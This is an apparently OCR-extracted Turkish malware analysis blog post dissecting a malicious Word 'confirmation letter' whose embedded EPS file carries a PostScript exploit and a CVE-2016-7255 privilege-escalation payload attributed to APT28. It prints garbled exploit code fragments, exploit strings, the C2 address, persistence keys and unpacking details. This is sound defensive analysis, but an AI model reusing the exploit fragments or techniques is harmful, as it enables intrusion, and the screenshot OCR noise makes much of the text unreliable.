(KERNEL32.d11) 1231 def /1247 129% 1246 16 119 1287 135 119 def 1247 1287 138 /1302 exch def /1303 exch def /1304 0 [
def /1305 1303 def 1302 1211 { /1304 0 1217 def /1307 1302 1213 def 1169 1303 0 1217 1201 145 }{ f1307 1302 def 1169
1303 0 1201 145 } ifelse /1309 1159 2 get def 1309 type /stringtype eq { } if 1307 1309 1206 /1311 exch def }{ /1312
1137 1201 135 def /1313 1312 1201 135 def /1314 1313 1203 def /1315 1314 (KERNEL32.dll) 1243 def } ifelse /1316 {
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0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000010200000000070009000000000000000000000000000000150000001d000000000023002
50000000000000000000000310000000000000000003b3c3d0000000000000000460000000000000000000000000000000000000052005c0000000
000000000000000006900006c0000000000000074007600000000000000000000810000000000000000008b008d008£00009200000000000000009
b00000000000000000025260028000000000000000000000000000000b80000000000000000c10000000000000000c200000000c£00d100d4300000
00000000000000000000000000024000000000000002c00000000000000£4000000000000000000000000000000000000000000000b0c00000£100

AAAANNAT CAAANAAANAAANT ~1 dAAAATARATIAATAAAAATITANNATI-ANAAANAAANAANTT ANANSAANSIEAANNAAT - AANNAANNAANNAAANAAANAAANAAARAAAANNN

letter\yword\r

MNormal text file length: 781520 lines: 3 Ln:3 Col:19068 Sel:0]0 UNIX UTF-8 INS
Q{ ChUsers\Mert\Desktop\Confirmation_letter\word\media\imagel.eps - Notepad++ El_ﬂ

File Edit Search View Encoding Language Settings Macro Run  Plugins Window 7 X
e . = R h s = = | P | =
o 2 = ee[g]|ﬂé|:|_lﬁ|':- -|ﬁﬂ ﬁ|5§ °|".‘—'.|--i—j @'—‘“E"'- Bl
[=image1.eps B3 }
62ceb3cfe3c0d3dlc3d2d3d343d553d5e3d683d803d8I3dal3da73dec53dcb3dda3del 3de83df13d033e0b3ell3eli3ele3e243e323e3e3de483e523 »
e573e623e6d3efb3eaT3eacieb23ebadec23ecb3edl3eds3edfSeecief43e043f093f0f3Ff183F1Ff3f2c3f343f3a3f4a3f4f3f043174317a3f82318
a3f933f893f9f3fa43fpl3fbb3fc03fcT3fd43ffa3f005000008800000006300d30123017301e3023302830223036303b30423045304e305430623

072307c3087308d3098309d30a230a930ae30b330ba30bf30c930ce30d530e2300d3115311b31263132314731503169318b319531a331ab31b331c
631d631e031f9310332313236323c32433268327332ad32c532cf3212320333103340334d33773

:) putinterval 1350 65280 (bl2c.exe) putinterval
65532 1348 1350 141 1350 €5536 payload 32 putinterval 1159 3 1350 put 1198 1201 135 /1364 exch def 1364 1201 135
/1365 exch def 1365 36 119 1201 135 /1366 exch def 1366 1201 135 /1367 exch def 1367 32 119 1201 135 /1368 exch def
1268 1n pop } ifelse /1369 { /1370 1314 (KERNEL32.d1l1l)} (VirtualProtect) 1250 def /1371 0 def /1372 1314 4096 119 def
1201 1372 458752 getinterval dup dup <94 00 00 00 00 S5E c3> search { length 1372 119 /1373 exch def pop pop }{ pop
f1371 1 def } ifelse 1371 0 eq { dup <5E C3> search { length 1372 119 /1375 exch def pop pop }{ pop /1371 1 def }
ifelse } if 1371 0 eq { dup <c2 Oc 00> search { length 1372 119 /1377 exch def pop pop }{ pop /1371 1 def } ifelse }
if 1371 1 eq { dup <94 c3> search { length 1372 119 /1373 exch def pop pop }{ pop /1371 2 def } ifelse } if 1371 1
eq { <c2 Oc 00> search { length 1372 11% /1375 exch def pop pop }{ pop /1371 2 def } ifelse } if 1371 2 eq { dup <94
00 00 00 5f 5e S5b c2 04 00> search { length 1372 119 /1373 exch def pop pop }{ pop quit } ifelse } if } bind def
/1384 { 1287 1299 (KERNEL32.d11) (VirtualProtect) 1259 /1385 exch def /1386 exch def /1372 1289 4096 119 def /1388
1287 1372 688128 getinterval def 1388 /1371 O def dup <50 FF 50 30> search { length 1372 119 1294 118 /1390 exch def
/1391 1295 def pop pop }{ pop /1371 1 def } ifelse 1371 0 eq { dup <4C 8D 4C 24 &0 48 8B CF FF 90 BO 00 00 00>
search { length 1372 119 1294 119 /1393 exch def /1394 1295 def pop pop }{ pop /1371 1 def } ifelse } if 1371 0 eq {
dup <5D 48 FF 60 20> search { length 1372 119 1294 119 /1396 exch def /1397 1295 def pop pop }{ pop /1371 1 def }
ifelse } if 1371 0 eqg { dup <5D 48 FF 60 18> search { length 1372 119 1294 119 /1399 exch def /1400 1295 def pop pop
}{ pop /1371 1 def } ifelse } if 1371 0 eq { dup <5C C3> search { length 1372 119 1294 119 /1402 exch def /1403 12935
def pop pop }{ pop /1371 1 def } ifelse } if 1371 0 eq { dup <C2 88 00> search { length 1372 119 1294 119 /1405 exch
def /1406 1295 def pop pop }{ pop /1371 1 def } ifelse } if 1371 0 eq { dup <59 C3> search { length 1372 119 1294
119 /1408 exch def /1409 12985 def pop pop }{ pop f1371 1 def } ifelse } if 1371 0 eq { dup <5A C3> search { length
1372 119 1294 119 /1411 exch def /1412 1295 def pop pop }{ pop /1371 1 def } ifelse } if 1371 0 eq { dup <41 58 5d
c3> search { length 1372 119 1294 119 /1414 exch def /1415 1295 def pop pop }{ pop /1371 1 def } ifelse } if 1371 1
eq { dup <4C 8B 18 48 8B C8 41 FF 53 08> search { length 1272 115 1254 119 /13290 exch def /1391 1295 def pop pop }{
pop /1371 2 def } ifelse } if 1371 1 eq { dup <4C 8D 4C 24 20 48 8B 01 44 8B C3 FF 50 20> search { length 1372 119
1294 119 /1393 exch def /1394 1295 def pop pop }{ pop /1371 2 def } ifelse } if 1371 1 eq { dup <498 8B E3 41 5E 41
5D 41 5C C3> search { length 1372 119 1294 119 /1396 exch def /1397 1295 def pop pop }{ pop /1371 2 def } ifelse }
if 1371 1 eq { dup <41 5D 41 5C C3»> search { length 1372 119 1294 119 /1399 exch def /1400 1295 def pop pop }{ pop
f1371 2 def } ifelse } if 1371 1 eq { dup <59 C3> search { length 1372 119 1294 119 /1402 exch def f1403 1295 def
pop pop }{ pop /1371 2 def } ifelse } if 1371 1 eq { dup <5A& C3> search { length 1372 119 1294 119 /1405 exch def
/1406 1285 def pop pop }{ pop f1371 2 def } ifelse } if 1371 1 eq { dup <41 58 c3> search { length 1372 119 1294 118 |
/1408 exch def /1409 1295 def pop pop }{ pop /1371 2 def } ifelse } if 1371 2 eq { dup <50 FF 50 30> search { length

1977 140 1I0A IA0 FIIO0 cwenk daE F1209 1ARE daF mom o mam 3 f eme F12T1 D AnE ) S Fadon 3 SE 1DTT Y cee § e AT 0D AC

MNormal test file length : 781520 lines: 3 Ln:3 Col:770897 Sel:52224 |0 UNIX UTF-8 INS

23



.' He:(Workshop—EC:\Userse
File Edit Disk Options Tools Plug-Ins Window Help =
2EH2H ABEQAE o O BEesag o -@RE % o
PBEG ARG M BE (wmra
o iz = Bl 6 7 s & & e o l Eamlnspifmommm a—
ta at et 3
£ |loooosons EEEEEIGE 64 35 61]3° 30 30 30 33 30 30 [EEAd5a390000300 |7
=||loooo4om2 30 30 30 0 30 30 30 30 66 66 000004000000£f  [7||| ™ = =
E 040C0 30 30 30 38 30 30 30 30 30 30 ££0000bBO0O0O0OO0O ot 37 E
] 30 30 30 30 34 30 30 30 30 30 00000000400000 il &385 i
s 30 30 30 30 30 30 30 30 30 30 30 00000000000000 neh
30 30 30 30 30 30 30 30 30 30 00000000000000 int32 1397760293
30 30 30 30 30 30 30 30 30 30 00000000000000 T s .
30 30 30 30 30 30 30 30 30 30 00000000000000 — See o |
30 30 30 30 30 30 38 30 30 30 00000000008000 Expression Calc gtk
30 30 30 31 66 62 61 30 &5 30 30 00000elfbale00 Sgned  v|[32b8
30 39 63 32 31 62 38 30 31 34 63 b409cd21b80l4c Z
32 31 35 36 38 39 37 33 32 30 cd215468697320
37 32 36 66 36 37 32 36 31 36 64 70726f6772616d
36 33 36 31 36 65 65 36 66 37 34 2063616e6e6£74
36 32 36 35 32 30 32 37 35 36 65 2062652072756e 5 A
:(Structures[ '“ Essra | |e :(.13instan(esof'4d53'found in C:\Users\Mer‘t\Desk‘top\Conf\rm...|ﬂ’ﬂ -'-'-_':'i||:|3| ‘|3||x.
*| Member IL?P‘ Value (dec) * Value (he) #* Size IL?P‘ & Address [8) Length @) Length [8) =
00004046 4 04
00051049 4 04 E
00055C41 4 04
000596EF 4 04 W
0005F2B3 4 04
O005FEQR 4 04
g 00078F52 4 04 J
i ;"‘l"‘“""‘"‘ - == L : 3
z Lk —
] = & | 2 ; - (2 ]
% E |%Compare_‘J,,,Chedcsum ﬂﬁFlnd QBoohnarks_E]Output |
ie;dy\ Cursor: 00004196 Caret: 00004046 Sel: 00004046 OVR MOD READ

Istismar kodu ile zaman kaybetmeyip, MZ basligina sahip tiim bloklar1 ayr1 ayr1 aptl.exe, apt2.exe, apt3.exe vb. ad altinda diske kay1t edip
pestudio ile incelemeye basladim. apt3.exe (ekran goriintiisiinde a3.exe olarak da yer almaktadir.) ve apt5.exe (ekran goriintiisiinde a5.exe
olarak da yer almaktadir.) dosyalarini inceledigimde, karakter dizilerinde (strings) yer alan Exploit anahtar kelimeleri, iki dosyanin birbirine
fazlasiyla benzemesi (a3 32bit, a5 64bit) ve VirusTotal raporunda yer alan CVE-2016-7255 (MS16-135) ¢iktis1 dikkatimi ¢ekti. Tki dosyay1
da inceledikten sonra bunun Fancy Bear, APT28, Sofacy, STRONTIUM adiyla da bilinen Pawn Storm APT grubu tarafindan da zamaninda
kullanilmis olan ve Windows kernel zafiyetini istismar eden bir istismar kodu oldugu ortaya ¢ikti.

Organize Open Share with « New folder B=~ i l@l
O Enes MName : Date modified Type Size
B Deskiop [T aptl.exe 28.02.2017 20.53 Application 302 K|
% Downloads 07 apt2.exe 28.02.2017 20:53 Application 8KB
1= Recent Places [ apt3.exe 28.02.2017 20:54 Application 28 KB
[B5] aptd.exe 28.02.2017 20:54 Application 6 KB
4 Libraries [ apt5.exe 28.02.2017 20:55 Application 26 KB
:'-\] Documents
J‘r Music
(=] Pictures
B2 videos
. Computer

&, Local Disk (C)

?ﬂ MNetwork
' aptl.exe Date modified: 28.02.2017 20:53 Date created: 28.02.2017 20:53
. Application Size: 301 KB
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http://technet.microsoft.com/library/security/MS16-135
http://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-ramps-up-spear-phishing-before-zero-days-get-patched/
http://blog.trendmicro.com/trendlabs-security-intelligence/one-bit-rule-system-analyzing-cve-2016-7255-exploit-wild/

File

Help

wh X8 ?

=+ET] elusersimertidesktop\a3.exe | type size location  blacklisted (44)  item (331) £
----- 4l indicators (3/10) ascii P = - \S®H
----- p virustotal (1/58 - 01.03.201 ascii 4 a . \SHH
----- O dos-stub (160 bytes) =
4 = 3 SPH
----- O file-header (20 bytes) asc!! 1 :SXH
----- O optional-header (240 byte: ascT = =
----- O directories (5) = 4 i 2 DL
_____ O sections (&) ascii 23 = = SQRUVWAPAQARASATAUAVAWH
_____ O libraries (2) ascii 22 5 = A_AMAANATAZAY X ZV]
_____ O imports (62) ascii 23 e - SQRUVWAPAQARASATAUAVAWH
..... O exports (2) ascii 22 - - A_AMAIANATAZAY K ZV]
..... O exceptions (60) ascii 14 - - Microsoft Word
----- O tls-callbacks (n/a) ascii 50 = o The document is locked for editing by another user
® resources 1 ascii 15 - - GetLastErr = 0x
abe 2 ascii 18 o 5 OpenlnputDesktop =
-k debug (invalid) ascii 19 2 : SetThreadDesktop ok
manifest (n/a) ascii 10 - = USER32.dII
{23 file-version (n/a) ascii 23 - - Try non-patched Windows
certificate (n/a) ascii EN) s 5 RCE works, but LPE is patched!
""" L] overlay (n/a) ascii ] 5 = res =
ascii 12 = 3 LpeExecMutex
ascii 36 - - 0123456789ABCDEFGetKernelVal error 0
ascii 25 = £ ExploitTagMenuState start
ascii 27 = = ExploitTagMenuState error 1 K|
ascii 26 = = ExploitTagMenuState end OK =
ascii 19 e - ExploitThread start
ascii 2 - = ExploitThread error 1
ascii 21 5 = ExploitThread error 2
ascii 17 = 3 ExploitThread end
ascii 17 - - DonorThread start
ascii 18 = £ DonorThread wnd( =
ascii 25 - - GetForegroundWindow(1) =
ascii 25 - - GetForegroundWindow(2) =
ascii 15 e = DonerThread end -
‘4 LU 3 4 n 3

File

Help

whl X B8 7%

=] cusers\mert\desktop\al.exe | type size location  blacklisted (46)  item (283) =
----- ail indicators (3/11) o 4 » » TeoL
----- »3 virustotal (5/58 - 01.03.201 ascii 4 ) . DoAH
----- O dos-stub (152 by
.os 5 (1, ytes) ascii 14 = = Microsoft Word
----- O file-header (20 bytes) = =5 e T o
_____ O optional-header (224 byte: a;c!! - - e document is locked for editing by another user
_____ O directories (5) ascii 15 = & GetlastErr = Ox
_____ O sections (4) ascii 19 - - OpenlnputDesktop =
_____ O libraries (2) ascii 13 = = SetThreadDesktop ok
_____ O imports (63) ascii 10 - - USER32.dlII
..... O exports (2) ascii 23 - = Try non-patched Windows
O exceptions (n/a) ascii 30 - - RCE works, but LPE is patched!
----- O tls-callbacks (n/a) ascii 4] - - res =
ascii 12 - - LpeExecMutex | 2
s ascii 16 = & 0123456789ABCDEF
-41¥ debug (invalid) ascii 20 - - GetKernelVal error 0 =
manifest (n/a) ascii 25 = = ExploitTagMenuState start
-{3] file-version (n/a) ascii 27 - - ExploitTagMenuState error 1
- certificate (n/2) ascii 26 - - ExploitTagMenuState end OK
""" U overlay (n/a) ascii 19 . : ExploitThread start
ascii 21 = 3 ExploitThread error 1
ascii pal - - ExploitThread error 2
ascii 17 = & ExploitThread end
ascii 17 - - DonorThread start
ascii 13 = = DonerThread wnd0 =
ascii 25 - - GetForegroundWindow(1) =
ascii 25 - - GetForegroundWindow(2) =
ascii 15 - - DonorThread end
ascii 20 = 3 EscalateThread start
ascii 39 - - EscalateThread VirtualAlloc((40000) =
ascii 41 - - EscalateThread VirtualAlloc{(x4000000) =
ascii 22 - - EscalateThread error 2
ascii 22 = = EscalateThread error 3
ascii 22 - - EscalateThread wndl = -
4 1 [ BN 1 +
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Estudlo 8.56 -

File

Help

w=Hx 87

-7 e\users\mert\desktop\a.exe
I
|
|

----- 0O dos-stub (152 bytes)

----- O file-header (20 bytes)

----- O optional-header (224 byte:
----- O directories (3)

----- O sections (4)

----- O libraries (2)

----- O imperts (63)

----- O exports (2]

----- O exceptions (n/a)
tls-callbacks (|
resources (n/a)
abe strings (46/283)
Tt debug (invalid)
----- g manifest (n/a)
..[1q] file-version (n/a)
G certificate (n/a)
----- L3 overlay (n/a)

n/a)

n | 2

engine (58)
Qihoo-360
Kaspersky

GData

Baidu

Blkav
MicroWorld-e5can
nProtect

CMC
CAT-QuickHeal
MchAfee
Malwarebytes
Zillya
SUPERARtiSpyware
TheHacker
KIGW

K7 AntiVirus
TrendMicro
F-Prot
Symantec
ESET-NOD32
TrendMicro-HouseCall
Avast

ClamAY
BitDefender
MNANO-Antivirus
ViRobot

Rising
Ad-Aware
Sophos
Comodo
F-Secure

Drveb

positiv (5)
HEUR/QVIM40.1.0000.Malware.Gen
HEUR:Trojan.Win32.Generic
Win32.Exploit.CVE-2016-7255.A

Win32.Trojan. WisdomEyes 16070401.9500.9...

clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean
clean

date (dd.mm.y.. age (.

01.03.2017 0
28.02.2017
01.03.2017
01.03.2017
28.02.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
28.02.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
28.02.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017
01.03.2017

A - T I T R R R R - R e

»

m

Tabii bu iki istismar kodunun nihai amaci, EPS dosyast1 i¢inde yer alan zararli yazilim kodunu sistem iizerinde yonetici yetkisi ile ¢calistirmak
oldugu icin dinamik analiz icin aptl.exe dosyasini oncelikle sanal makinede ¢aligtirmaya ve davranigini izlemeye karar verdim. aptl.exe
dosyasini ¢alistirdiktan kisa bir siire sonra kendisini %AppData%\AMD\OGLCache.exe klasoriine kopyaladigini, 84.202.2.12 ip adresi ile
sifreli olarak haberlestigini, AMD klasoriinde default.conf adi altinda icerigi okunakli olmayan (rastgele olusturulan bir isim, dosyanin
calistirilma tarihi sifreli yaziliyor.) bir dosya olusturdugunu, sistem yeniden bagladiginda ¢alisabilmek icin klasor bilgisini HKCU\Software
\Microsoft\Windows\Current Version\Run\Lollipop anahtarina yazdigini gordiim. Pestudio araci ile OGLCache.exe aracini inceledigimde ise
paketlenmis (packed) oldugu i¢in statik analizden elle tutulur pek bir bilgi elde edemedim.

[F=3 Bol >
@lf\‘/&v| . < Local Disk (C:) » Users » Mert » AppData » Roaming » AMD v|‘?|| Search AMD P‘
Organize = Include in library = Share with = Mew folder =« O @-
| r Favorites Name Date modified Type Size
™
Bl Desktop [=°] 0GLCache.exe 28.02.2015 10:02 Application 302 KB
4 Downloads

| Recent Places
4 Libraries

3 Documents

J‘r Music

[ Pictures

E Videos

% Com puter

ﬁhﬂ Metwork

1 item
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7 Process Monitor - Sysinternals: www.sysinternals.com o || 2 | &
File Edit Event Filter Tools Options Help
2@ | *BE | vAS® | =B A48

Time of Day Process Name PID  Operation Path Result 2
13:50:22 8313497 §'0OGLCache exe 2460 ﬂﬂegOueryValue HKLM"System“CumentControl Set‘services \Win Sock 2\Parameters\Name Space_Catalog5'Catalog_Entr. . SUCCESS T
13:50:22,8313524 §'0GLCacheexs 2460 ﬂHegOuery\c’alue HKLM"System"CumrentControl Set\services \Win Sock 2\ Parameters\Name Space_Catalog5'Catalog_Entr... SUCCESS T
13:50:22,8313553 ®'0GLCachesxs 2460 ﬂRegOuery\c’alue HKLM"System"CumrentControl Set\services \Win Sock 2\ Parameters\Name Space_Catalog5'Catalog_Entr... SUCCESS 31
13:50:22,8313581 T '0GLCacheexse 2460 @¥RegQuenyValue HKLM\System'‘CumentCortrolSet'\services'\WinSock2\Parameters\NameSpace_Catalog5'\Catalog_Entr..SUCCESS T
13:50:22 8313611 ®'0GLCachesxs 2460 ﬂHegOuery\c’alue HKLM"SystemCumrentControl Set\services \Win Sock 2\ Parameters\Name Space_Catalog5'Catalog_Ertr... SUCCESS T
13:50:22 8313637 §'OGLCachy - =t ; ) HogSCatalog_Entr. SUCCESS
13:50:22,8313661 ®'0GLCach &I System Configuration [#238] |og5\Catalog_Entr..SUCCESS
13:50:22,8313692 W 0OGLCad SUCCESS
13:50:22,8313763 ®'0GLCacH | General [Boot |[ Services | Startup | Tools | REPARSE D
13:50:22,8313836 W' OGLCa SUCCESS D
13:50:22,8313859 EOGLCa Startup Ttem Manufacturer Command Locati eBuckets NAME NOT FOUND L
::g x g g:‘lﬁg :—OGU::EII . VMware Tools  VMware, Inc. "C:\Program Files\WMware\VMware Tools\vmtoolsd.exe™-...  HKLMY gﬂggg D
13:50:22.8314438 Unknown C:\Wsers\Mert\AppData\Roaming \AMD\OGLCache. exe g SUCCESS F
13:50:22 8316557 SUCCESS
13:50:22 8316703 & 'OGLCacl HGIFA-N4M7-5M3.. REPARSE D
13:50:22 8336834 FOGLCa Mnstalled Compo... SUCCESS D
13:50:22,3333442 & “nstalled Compo... SUCCESS T
13:50:22.8338919 “Installed Compo... SUCCESS
13:50:22 83397594 SUCCESS D
13:50:22 8340753 SUCCESS o]
13:50:22 8346032 END OF FILE 0
13:50:22 8346128 SUCCESS
13:50:22.8348418 SUCCESS D
13:50:22 8345114 SUCCESS 0
13:50:22. 2349363 b SUCCESS
13:50:22 8352550 =] SUCCESS D
13:50:22 8352720 J = SUCCESS G
13:50:22,8352767 = SUCCESS
13:50:22 8353742 ply | Help SUCCESS D
13:50:22 8353351 B _ SUCCESS G
13:50:22 8355144 E ] Efaut.cont SUCCESS [
13:50:22 8366887 &' OGLCache exe 2460 RegOpenKey HKLM\System\CurrentControISei\Contm\\le\CustomLocale REPARSE D
13:50:22.8367015 W 'OGLCacheexe 2460 @RegOpenkey  HKLM\System‘CumertControlSet'Control\Nis*Custom Locale SUCCESS D
13:50:22,8367113 T '0GLCacheexe 2460 @¥%RegQuenValus HKLM'\System"CumentControl Set\Control\Nis\CustomLocale\en-US NAME NOT FOUND L
13:50:22 8367148 T '0GLCacheexs 2460 ﬂHegCloseKey HKLM"SystemCumrentControl Set'Contro\Nls“Custom Locale SUCCESS
13:50:22,8367187 ®'OGLCacheexe 2460 @%RegOpenkey  HKLM\SystemCumentControlSet\Control\Nis\ExtendedLocale REPARSE D
13:50:22,8367234 '0GLCacheexe 2460 @%RegOpenKey  HKLM\System'CumentControlSet\Control\Nis\ExtendedLocale SUCCESS D
13:50:22,8367299 ®'0OGLCache.exe 2460 @¥RegQuenyValue HKLM\System\CumentControlSet\Control\Nis\EBxtendedLocale'en-US MNAME NOT FOUND Lt
13:50:22,8367323 ®0OGLCacheexs 2460 gﬂegCloseKey HKLM"System" CumentControl Set\Control\Nls'\ExtendedLocale SUCCESS -

4

n

Showing 2,070 of 980.472 events (0.2%)
P

Backed by virtual memory

File Help
e xH Y

-

b
[11

7 c\users\mert\desktop\apt_28022017\aptl.exe

indicators (3/7)

P virustotal (n/a

dos-stub (64 bytes)
file-header (20 byte:
optional-header (224 bytes)
directories (5)

sections (4)

libraries (3/5)

imports (47)

resources (bext)

dehug (-nuhd:

| overlay {unknown)

type
ascn
ascn
ascn
ascn
ascii
ascn
ascii
ascii
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn
ascn

location

blackiisted (28)

item (1947)
GetThemeAppProperties
sVgf

ET

PreY

sy34

t>3b

=%
6bM|

%

bAly

>GeA

H%o

vCdT
2
Bl=m
_irtual&lloc
_niteProcessMemaorny
sadLibrary
sovugnnksd
wlo_

WD
~'%0nF~
GUV<

> \D§}
<VEw

T

Sinzke

IYzo
<D&5*
ua=g

nlM

Bgl®
oQ2vl
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Server DNS Mame: 84.200.2.12 Service Port: 443 Signature Name: Malware. Binary. exe

Raw Command

T IDA - OGLCache.idb (DGLCache.exe) C:\Users\Mert\ Desictog OGLCache i
Fie £da  Jump Sessch  Veew Debugger Optiens Wimdews Help

P00 “F 3 00m @

o

I Lirary furction [l et [ Reguisr furcion [l Unespiored [l drwtrucson [ Exterral symbal

A Grach averven o& x Dtug Ve

=
i
i

[TTTTTTIar

* QUIBERCE
OEREEAYD
sub_WBE11F :loc_WOR1SE

01 81 28 B8 GE hB 3B 77 i - ] BECH ] : DOZREE2D
90 B8 00 98 01 60 00 B0 5 3 ] 100

@ D0 BE 00 B B0 B0 00 2O
00 08 00 @0 00 8B 00 0O

B b7
o0 00 B0
ay T 20 67
70 B0 00 BB 08 o0 00 6o
o0 00 B0 00 00 00 B 3

<

To direct input to this VM, meove the mouse pointer inside or press Cirls G. -]

Daha sonra statik analizden WriteProcessMemory fonksiyonunu _riteProcessMemory degistirerek kendini gizlemeye ¢alisip, sistem tizerinde
calistirildiktan sonra GetLongPathNameA fonksiyonunu ¢ok defa ¢agirarak dinamik kod analizini zorlastirmaya calisan bir paketleyici
(packet) ile paketlenmis olan OGLCache.exe programini paketinden ¢ikardim. Pestudio ile inceledigimde bu defa haberlestigi ip adresinin
yani sira, Powercat aracina dair karakter dizileri (strings) ve tus kaydi yaptigina dair ipuglari elde ettim. Ayrica hyd7u5;jdi8 karakter dizisinden

yola cikarak art niyetli kisilerin bu zararli yazilim1 Agustos 2016’dan beri aktif olarak kullandiklarini tespit ettim.
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http://github.com/besimorhino/powercat
http://www.reverse.it/sample/25759033ce9ddcb058eb28fc4f2e6666e11c38854b330374be4edfe178c5cba8?environmentId=100

W :32dbyg - File: aptl.exe - PID: 96C - Module: aptlexe - Thread: Main Thread 730 | =h =R =
File WView Debug Plugine Favourites Options Help Feb 252017
CoE 30 e tRBlhemis 0o,y BIZeLh 4L B9ER £SO

B cru | ?Graph | | i log |1l Notes | ® Breakpoints | [ Memory Map | [[)) call Stack | =7 SEH | [+2| Seript | | symbols | <7 Source | 4~ References | ‘#Tﬂ@
85 [test eax,eax :
: Hide FPU
~ OF |jne apti.40614E ] - | iRES
. i il i oery i == onana
. 66 |mov word ptr ds:[ebx],7257 l’"itEF’I"DCESSMeIT.IDI"y" 2 LRl = BT EEEOCEsSM ALY
* FF | push dword ptr ds:[425E56] ECX 77456014 kernel3z.77456014
e[ oo40z6 FF | €811 dword ptr ds:[<&GetProcAddress:] EDX 00530180
o 004026 6A | push 0 [ eep  oo1sFFes .
|| 004026 6A | push 3 ESP 0018FF1C &"_riteProcessMemory"
® (| DD4026 FF | push dword ptr ds:[425E4A] ESI 00425E6E kernel3z.pLL"™
e [ 004026 68 | push apti.425E4A EDI 00000000
e [ 0os0zs 6A | push FFFFFFFF
® (004026 68 | push apti. 402630 EIP 00402666 aptil.00402666
e 004026 50| push eax
e [ 001026 C3 | e EFLAGS 00000246
e[ 004026 68 | push apti.425EAC ZF 1 PE1 AF O
e [ 004026 6A | push E R
e || 004026 68 | push aptil.425EAL 425EAL: "sxvugnnksd"
e | 002026 2 | €@811 dword prr cs:[<&GErLongPathNamess] CE O SRR SFF (1
e [ 004026 83 | cmp eax,0
__________ e[ 004026] ~ OF |jne apti.soeiaE LastError 00000002 (ERROR_FILE_NOT_FOUND)
@ | DO4026 8D | 1ea ecx,dword ptr ds:[425E4E]
e || 004026 81| cmp dword ptr ds:[ecx],FFF G5 00ZB F5 0053
———————— e (004026 + OF |ja aptil.40614E ES 002B DS 002B
e || DD4026 81 | cmp dword ptr ds:[425E4E],50000 CS 0023 55 D02B
------ e (0040258 ~ OF |ja aptl.40614E
. ggjg%g gé ?gbag‘:i"‘ic’gg;sd“ [ecx],200 XB7r0 00000000000000000000 STO Empty O.00
T 26|~ .
| o] oo4nze 81 |add dword ptr ds:[425E8F],apti.40614E CHAL A DODDOMOMOOIIONOMO00, (3L EMIEY 00
z 5 X87r2 00000000000000000000 ST2 Empty 0.00
L e || 004026 FF | Ea81 dword ptr ds:[425E8F] L
! e | 004026 00| add byte ptr ds:[eax],al | S —— _ ]
1 e || 004026 00 | add byte ptr ds:[eax],al o
i e|o04026 68| push apti. 425EAC ' Qefaul(tizl]
] < m | 4 1: [esp+4] 00000000

2: [esp+8] 00000000
3: [esp+C] 00000000
4: [esp+10] 00000000

4
word ptr[ebx]=[00425E78]=7F25F

LText: 00402666 aptl.exe:$2666 #1AGE |
3 _riteProcessMemory”
@Woump1 | @yoump2 | 4oump3 | @oump4 | @uoumps [ @ watch1 | 7 struct | D01EFF| 000000 o
001EFF| 000000
- Aﬁ::wocess * | oo12FF| DOODOD
. 001EFF| 000000
Yeunenannas 001EFF| 000000
E ;grarw-sl\f __|| o18FF| 0ODOOO
......... 001EFF| 000000
g UYSW1E£3)E§ L 0015FF| 000000
e 001EFF| 000000
/bl 001EFF| 000000
5 s 001EFF| 000000 7
i .8, 5%y 001EFF| 000000 E
1 Ll + || vo18FF| Dooooo! B
antszcl nnnann
3 4 Mo 4
Command: Default
| Paused  |aptlexe: 00425E78 -> 00425E78 (000000001 bytes) Time Wasted Debugging: 0:00:07:05
ﬁx’ﬁ — apﬂmf:i’lﬁﬂ'lé:? """in:e:aﬁii".exe; o - et ) ] :,1@_[@]

File WView Debug Plugine Favourites Options Help Feb 252017
coE 5N ¥ tuw@lhemgeadocrryBe=SadPia EfPER 20
B cru | ?Graph | | . Log | 'l Motes | ® Breakpoints | 88 Memory Map | [/ call Stack | =7 SEH | Le| Seript | & symbols | <2 source | 4~ References | ‘#Tﬂ@

00404DE2 83 CO 05]add eax,s = :
00404DES 68 EC 4D|push <aptl.sub_404DEC> Hide,EEl
00404DEA FF 20 jmp dword ptr ds:[eax]
r. 539 pop ecx sub_404DEC Eg ggggg;gg
00404DED . 8 Co test eax,eax e e LA
00404DEF .v OF 84 59 je aptl.40614E
00404DF5 .. 29 FF sub edi,edi EDX  0OOSE3CE
00404DF7 || . 4F dec edi EBP  OO18FFS8
00404DF 8 o LT and edi,eax ESP  O018FF1C
oo404DFA ||. 57 push edi ESI 00425418 aptil.00425418
00404DFE > BB 06 mov eax,dword ptr ds:[esi] EDI 0025000
00404DFD . 8D 76 04 lea esi,dword ptr ds:[esi+4]
00404E00 . F7 DO not eax EIP  00404E0D apti.00404E0D
00404E02 . 83 E8 10 sub eax,10
00404E05 . €1 C8 02/ror eax,2
00404E08 . €1 C8 0§ ror eax,6 D giLgGSPF 20022236
00404E0B . 31 D8 Xor eax,ebx OF 0 SE1 DF O
EIP #@ | DD404E0D . F8 clc
e 00404E0E ||. 83 D8 01| sbb eax,1 CFO0 TFO IF1
|| D0O404E11 .. B0 18 lea ebx,dword ptr ds:[eax]
o[ 00404E13 . €1 c3 02lrol ebx,2 LastError 00000002 (ERROR_FILE_NOT_FOUND)
e 00404E16 . €1 C3 06 rol ebx,6
e 00404E19 . 50 push eax GS 002B FS 0053
| D0O404E1A . B8F 07 pop dword ptr ds:[edi] ES 002BE DS 002B
®( 00404E1C & F8 clc C5 0023 55 002B
e 00404E1D . 83 DF FC|sbb edi,FFFFFFFC
] (sl (6 e L X87r0 00000000000000000000 STO Empty 0.00
o [Pt I 83 F9 00| cmp ecx 0 x87r1 00000000000000000000 ST1 Empty 0.00
-8 | 00404E27 ‘n 75 D2 jne apti.s04DFE X87r2 00000000000000000000 ST2 Empty 0.00
o 00204E29 EEEE pop edi | i —— ]
